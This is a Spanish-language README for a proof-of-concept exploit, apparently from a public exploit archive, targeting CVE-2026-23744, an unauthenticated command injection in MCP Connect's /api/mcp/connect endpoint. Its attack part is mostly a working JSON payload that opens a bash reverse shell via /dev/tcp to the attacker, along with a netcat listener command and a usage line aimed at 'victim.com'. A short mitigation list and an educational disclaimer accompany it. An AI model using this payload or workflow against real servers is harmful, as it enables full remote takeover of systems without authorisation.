Share
## https://sploitus.com/exploit?id=65C1835A-C7F0-57AF-B65F-71DCB9C75FBC
# CVE-2026-23744 — MCP Connect RCE via Unauthenticated Command Injection

![Python](https://img.shields.io/badge/Python-3.x-blue?logo=python)
![Category](https://img.shields.io/badge/Category-RCE-critical)
![Type](https://img.shields.io/badge/Type-PoC-red)
![License](https://img.shields.io/badge/License-MIT-green)

> ⚠️ **Disclaimer:** Este repositorio es solo con fines educativos y de investigación en seguridad. El uso de este exploit contra sistemas sin autorización explícita es ilegal. El autor no se hace responsable del mal uso de este código.

---

## 📌 Descripción de la Vulnerabilidad

La vulnerabilidad reside en el endpoint `/api/mcp/connect`, el cual permite a un atacante **no autenticado** registrar un servidor MCP (Model Context Protocol) arbitrario con una configuración maliciosa. Al no existir validación ni sanitización del campo `command` y sus `args`, es posible inyectar comandos del sistema operativo que se ejecutan directamente en el servidor con los privilegios del proceso web.

Esto resulta en una **ejecución remota de código (RCE)** que puede aprovecharse para obtener una **reverse shell** sobre el sistema comprometido.

---

## 🧠 Detalles Técnicos

| Campo            | Detalle                                         |
|------------------|-------------------------------------------------|
| **Tipo**         | Remote Code Execution (RCE)                     |
| **Vector**       | Red (HTTP POST sin autenticación)               |
| **Endpoint**     | `/api/mcp/connect`                              |
| **Severidad**    | 🔴 Crítica                                      |
| **Autenticación**| No requerida                                    |
| **Impacto**      | Control total del servidor                      |

### Payload malicioso

```json
{
  "serverId": "shell1",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp//443 0>&1"],
    "env": {}
  }
}
```

El servidor procesa esta configuración e invoca el comando `bash` con los argumentos proporcionados, estableciendo una conexión TCP inversa hacia el atacante.

---

## 🛠️ Requisitos

- Python 3.x
- Las siguientes librerías:

```bash
pip install requests termcolor
```

---

## 🚀 Uso

```bash
python3 exploit.py -l  -u 
```

### Parámetros

| Parámetro | Descripción                              | Ejemplo                    |
|-----------|------------------------------------------|----------------------------|
| `-l`      | Tu IP (donde recibirás la shell)         | `192.168.1.50`             |
| `-u`      | URL base del objetivo                    | `https://victim.com`       |

### Ejemplo completo

**Terminal 1 — Listener:**
```bash
nc -nlvp 443
```

**Terminal 2 — Exploit:**
```bash
python3 exploit.py -l 192.168.1.50 -u https://victim.com
```

---

## 🎬 Demo

```
[-] Please, execute the following command in another terminal:

[+] nc -nlvp 443

[-] Press 'Enter' when the command has been executed...

[+] Sending attack request...
```

Una vez enviada la solicitud, el listener en el puerto `443` recibirá la conexión inversa con una shell interactiva del servidor comprometido.

---

## 🛡️ Mitigación

- **Validar y sanitizar** todos los campos del body en `/api/mcp/connect` antes de procesarlos.
- **Autenticar** el endpoint y restringir su acceso solo a usuarios con privilegios.
- **Nunca ejecutar** comandos del sistema directamente a partir de input del usuario.
- Implementar una **lista blanca** de comandos permitidos.
- Aplicar principio de **mínimo privilegio** al proceso del servidor web.

---

## 📁 Estructura del Repositorio

```
.
├── exploit.py       # Script principal del exploit
└── README.md        # Este archivo
```

---

## 👤 Autor

> Desarrollado con fines de investigación en seguridad ofensiva por **Jorge Arana Fedriani**.